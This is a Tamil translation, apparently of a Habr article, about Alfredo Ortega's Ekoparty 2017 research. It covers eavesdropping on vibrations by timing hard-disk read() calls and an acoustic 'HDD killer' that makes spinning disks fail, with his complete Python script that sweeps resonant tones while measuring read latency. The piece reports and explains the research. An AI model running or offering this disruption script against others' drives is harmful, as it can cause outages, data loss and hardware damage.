ப்யூனஸ் அயர்ஸில் நடந்த Ekoparty 2017 கணினி பாதுகாப்பு மாநாட்டில், அர்ஜென்டினா ஹேக்கர் ஆல்ஃபிரடோ ஒர்டேகா மிகவும் சுவாரஸ்யமான வளர்ச்சியைக் காட்டினார் - மைக்ரோஃபோனைப் பயன்படுத்தாமல் வளாகத்தை இரகசியமாக ஒட்டுக்கேட்பதற்கான அமைப்பு. ஒலி
HDD முக்கியமாக உயர்-தீவிர குறைந்த அதிர்வெண் ஒலிகள், அடிச்சுவடுகள் மற்றும் பிற அதிர்வுகளை எடுக்கும். விஞ்ஞானிகளால் மனித பேச்சு இன்னும் அங்கீகரிக்கப்படவில்லை
ஒலி என்பது காற்று அல்லது வேறு ஊடகத்தின் அதிர்வு. ஒரு நபர் செவிப்பறை மூலம் அவற்றை உணர்கிறார், இது உள் காதுக்கு அதிர்வுகளை கடத்துகிறது. மைக்ரோஃபோன் தோராயமாக ஒரு காது போல வடிவமைக்கப்பட்டுள்ளது - இங்கேயும், அதிர்வுகள் ஒரு மெல்லிய சவ்வு மூலம் பதிவு செய்யப்படுகின்றன, இது மின் தூண்டுதலைத் தூண்டுகிறது. வன், நிச்சயமாக, சுற்றியுள்ள காற்றில் ஏற்ற இறக்கங்கள் காரணமாக நுண்ணிய அதிர்வுகளுக்கு உட்பட்டது. HDD களின் தொழில்நுட்ப சிறப்பியல்புகளிலிருந்தும் இது அறியப்படுகிறது: உற்பத்தியாளர்கள் வழக்கமாக அதிகபட்சமாக அனுமதிக்கக்கூடிய அதிர்வு அளவைக் குறிப்பிடுகின்றனர், மேலும் ஹார்ட் டிரைவ் அதை ரப்பர் அல்லது பிற இன்சுலேடிங் பொருட்களால் செய்யப்பட்ட அதிர்வு-ஆதார கொள்கலனில் வைக்க முயற்சிக்கிறது. இதிலிருந்து HDD ஐப் பயன்படுத்தி ஒலிகளைப் பதிவு செய்ய முடியும் என்று முடிவு செய்வது எளிது. எப்படி என்பதைக் கண்டுபிடிப்பது மட்டுமே எஞ்சியுள்ளது.
ஆல்ஃபிரடோ ஒர்டேகா ஒரு பக்க-சேனல் தாக்குதலின் தனித்துவமான பதிப்பை முன்மொழிந்தார், அதாவது நேர தாக்குதல். கொடுக்கப்பட்ட உள்ளீட்டுத் தரவைப் பொறுத்து வெவ்வேறு நேரங்களில் சாதனத்தில் வெவ்வேறு செயல்பாடுகள் செய்யப்படுகின்றன என்ற அனுமானத்தின் அடிப்படையில் இந்தத் தாக்குதல் நடத்தப்படுகிறது. இந்த வழக்கில், "உள்ளீடு தரவு" என்பது வாசிப்பு தலை மற்றும் HDD தட்டுகளின் அதிர்வுகளாகும், இது சுற்றுச்சூழலின் அதிர்வுகளுடன், அதாவது ஒலியுடன் தொடர்புபடுத்துகிறது. எனவே, கணக்கீட்டு நேரத்தை அளவிடுவதன் மூலமும், தரவுகளின் புள்ளிவிவர பகுப்பாய்வு செய்வதன் மூலமும், தலை / தட்டின் அதிர்வுகள் மற்றும் ஊடகத்தின் அதிர்வுகளை அளவிட முடியும். தரவைப் படிப்பதில் தாமதம் ஏற்படுவதால், HDD அதிர்வுகள் வலுவாக இருக்கும், எனவே சத்தம் அதிகமாகும்.
ஹார்ட் டிரைவ் அதிர்வுகளை எவ்வாறு அளவிடுவது? மிகவும் எளிமையானது: கணினி அழைப்பை இயக்கவும் read ()
- மற்றும் முடிக்க எடுக்கும் நேரத்தை பதிவு செய்யவும். நவீன இயக்க முறைமைகள் கணினி அழைப்புகளின் நேரத்தை நானோ வினாடி துல்லியத்துடன் படிக்க உங்களை அனுமதிக்கின்றன.
ஒரு துறையிலிருந்து தகவல்களைப் படிக்கும் வேகம் ஹெச்டிடி கேஸின் அதிர்வுகளுடன் தொடர்புடைய தலை மற்றும் தட்டுகளின் நிலையைப் பொறுத்தது. அவ்வளவுதான்.
புள்ளிவிவர பகுப்பாய்வு ஒரு எளிய Kscope பயன்பாட்டைப் பயன்படுத்தி மேற்கொள்ளப்படுகிறது. அவர்கள் சொல்வது போல், புத்திசாலித்தனமான அனைத்தும் எளிமையானவை.
Kscope பயன்பாடு (stat() syscall)
கேஸ்கோப் என்பது சிஸ்டம் கால் எக்ஸிகியூஷன் நேரங்களில் உள்ள சிறிய வேறுபாடுகளைக் காட்சிப்படுத்துவதற்கான ஒரு சிறிய பயன்பாடாகும். ஆதாரம்
ஒரு தனி களஞ்சியத்தில் read ()
.
HDD ஐப் பயன்படுத்தி ஒலிப்பதிவு செய்தல், Kscope பயன்பாட்டின் செயல்பாடு
நிச்சயமாக, பேச்சை இந்த வழியில் புரிந்து கொள்ள முடியாது, ஆனால் HDD அதிர்வு சென்சாராக மிகவும் பொருத்தமானது. எடுத்துக்காட்டாக, கடினமான காலணிகள் அல்லது வெறுங்காலுடன் ஒரு நபர் கணினியுடன் அறைக்குள் நுழைந்தால் நீங்கள் பதிவு செய்யலாம் (அநேகமாக, தாக்குபவர் மென்மையான ஸ்னீக்கர்களை அணிந்திருந்தால் அல்லது தரையில் தடிமனான கார்பெட் இருந்தால், HDD அதிர்வுகளை பதிவு செய்ய முடியாது - இது சரிபார்க்கத்தக்கது). கணினி உடைந்த கண்ணாடி அல்லது பிற சம்பவங்களை வலுவான ஒலி தீவிரத்துடன் பதிவு செய்ய முடியும். அதாவது, ஹார்ட் டிரைவ் ஒரு வகையான அங்கீகரிக்கப்படாத ஊடுருவல் கண்டறிதல் அமைப்பாக செயல்படும்.
HDD கொலையாளி
மூலம், ஹார்ட் டிரைவ்களை முடக்க இதேபோன்ற நுட்பத்தைப் பயன்படுத்தலாம். இங்கே மட்டுமே நாம் HDD இலிருந்து அலைவுகளை அகற்ற மாட்டோம், மாறாக, HDD க்கு ஊட்டப்படும் அலைவுகளை உருவாக்குகிறோம். HDD அதிர்வெண்ணுடன் எதிரொலிக்கும் அதிர்வெண்ணில் ஸ்பீக்கரிலிருந்து ஒலியை இயக்கினால், கணினி விரைவில் I/O பிழையுடன் சாதனத்தை அணைத்துவிடும் (லினக்ஸ் கர்னல் 120 வினாடிகளுக்குப் பிறகு HDD ஐ முழுவதுமாக அணைத்துவிடும்). ஹார்ட் டிரைவிலேயே மீள முடியாத சேதம் ஏற்படலாம்.
எடிஃபையர் r120u USB ஸ்பீக்கரின் ஸ்பீக்கர் மூலம் அதிர்வு அதிர்வெண்ணில் ஒலியை வழங்கிய 19 வினாடிகளுக்குப் பிறகு லினக்ஸ் கர்னல் ஹார்ட் டிரைவை முடக்கியது. ஸ்பீக்கர் சுமார் கால் பகுதி சக்தியில் (100 மெகாவாட்டிற்கும் குறைவானது) ஆன் செய்யப்பட்டு, அதிர்வுகளை மேம்படுத்தும் வகையில், HDD இலிருந்து 20 செமீ தொலைவில் அமைந்துள்ளது. இருந்து சட்டகம்
HDD களில் இத்தகைய "தாக்குதல்கள்" சில நேரங்களில் அன்றாட வாழ்க்கையில் முற்றிலும் தற்செயலாக நிகழ்கின்றன என்பது ஆர்வமாக உள்ளது. எடுத்துக்காட்டாக, செப்டம்பர் 2016 இல், தீயணைப்புப் பயிற்சிக்குப் பிறகு 10 மணிநேரங்களுக்கு ஐஎன்ஜி வங்கியின் தரவு மையம் செயல்பாடுகளை நிறுத்த வேண்டிய கட்டாயம் ஏற்பட்டது.
தரவு மையத்தில் ஹார்ட் டிரைவ்களில் மனித கத்தலின் ஆர்ப்பாட்டம். தாமத அளவீடு
எதிரொலிக்கும் ஒலியை உருவாக்க, ஆல்ஃபிரடோ ஒர்டேகா பைதான் ஸ்கிரிப்டை எழுதினார்
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
"The disk will be opened as read-only.n" +
"Warning: It might cause damage to HDD.n" +
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()
ஆதாரம்: www.habr.com